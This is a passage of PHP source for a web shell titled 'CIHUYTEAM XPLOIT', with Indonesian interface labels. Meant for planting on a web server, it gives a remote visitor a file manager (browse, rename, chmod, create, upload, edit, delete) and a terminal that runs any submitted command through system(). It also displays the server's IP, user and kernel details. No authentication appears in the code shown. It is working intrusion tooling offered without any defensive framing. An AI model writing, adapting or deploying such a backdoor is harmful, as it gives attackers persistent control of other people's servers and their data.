$path])); exit; } } // Handle rename if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $from = $path . DIRECTORY_SEPARATOR . $_POST['rename_from']; $to = $path . DIRECTORY_SEPARATOR . $_POST['rename_to']; if (file_exists($from) && !file_exists($to)) rename($from, $to); header("Location: " . build_url(['path' => $path])); exit; } // Handle chmod if (isset($_POST['chmod_file']) && isset($_POST['new_perm'])) { $file = $path . DIRECTORY_SEPARATOR . $_POST['chmod_file']; $perm = intval($_POST['new_perm'], 8); if (file_exists($file)) chmod($file, $perm); header("Location: " . build_url(['path' => $path])); exit; } // Create folder if (isset($_POST['new_folder'])) { $new = $path . DIRECTORY_SEPARATOR . trim($_POST['new_folder']); if (!file_exists($new)) mkdir($new); header("Location: " . build_url(['path' => $path])); exit; } // Create file if (isset($_POST['new_file'])) { $file = $path . DIRECTORY_SEPARATOR . trim($_POST['new_file']); if (!file_exists($file)) file_put_contents($file, ""); header("Location: " . build_url(['path' => $path])); exit; } // Upload file if (isset($_FILES['upload'])) { $dest = $path . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); move_uploaded_file($_FILES['upload']['tmp_name'], $dest); header("Location: " . build_url(['path' => $path])); exit; } // Handle file save (edit) if (isset($_POST['save_file']) && isset($_POST['filename'])) { $file = $path . DIRECTORY_SEPARATOR . $_POST['filename']; file_put_contents($file, $_POST['save_file']); header("Location: " . build_url(['path' => $path])); exit; } // Shell command execution (gunakan POST agar aman) $output = ''; if (isset($_POST['cmd'])) { chdir($path); ob_start(); system($_POST['cmd']); $output = ob_get_clean(); } // Informasi tambahan: IP server, domain, user, uname $server_ip = gethostbyname(gethostname()); $remote_ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $server_name = $_SERVER['SERVER_NAME'] ?? 'Unknown'; $user = get_current_user(); $uname = php_uname(); ?> CIHUYTEAM XPLOIT

CIHUYTEAM XPLOIT

🖥 Server Info:
IP Server:
IP Client:
Domain:
User:
Uname:
🔙 Back
📁 Path: "; echo " DIRECTORY_SEPARATOR]) . "'>/ / "; $parts = explode(DIRECTORY_SEPARATOR, $path); $nav = ""; foreach ($parts as $p) { if ($p === "") continue; $nav .= DIRECTORY_SEPARATOR . $p; echo " $nav]) . "'>" . htmlspecialchars($p) . " / "; } echo "
"; // Urutkan file dan folder $files = scandir($path); $folders = []; $files_only = []; foreach ($files as $file) { if ($file === '.') continue; $full = $path . DIRECTORY_SEPARATOR . $file; if (is_dir($full)) { $folders[] = $file; } else { $files_only[] = $file; } } sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files_only, SORT_NATURAL | SORT_FLAG_CASE); $all = array_merge($folders, $files_only); echo "
"; echo "
Nama
Ukuran
User
Group
Perm
Waktu
Aksi
"; foreach ($all as $file) { $full = $path . DIRECTORY_SEPARATOR . $file; $isDir = is_dir($full); $size = $isDir ? '-' : number_format(filesize($full)) . ' B'; $perm = substr(sprintf('%o', fileperms($full)), -4); $time = date("Y-m-d H:i:s", filemtime($full)); list($user, $group) = getUserGroup($full); $link = $isDir ? " $full]) . "'>📁 " . htmlspecialchars($file) . "" : " $path, 'view' => $file]) . "'>📄 " . htmlspecialchars($file) . ""; $del = " $path, 'delete' => $file]) . "' onclick=\"return confirm('Hapus $file?');\">❌"; $ren = "
"; $chmod = "
"; echo "
$link
$size
$user
$group
$perm
$time
$del $ren $chmod
"; } echo "
"; ?>

Edit File:

Tidak ada file yang dipilih untuk diedit

Buat Folder / File Baru

Upload File

Terminal (Shell Command)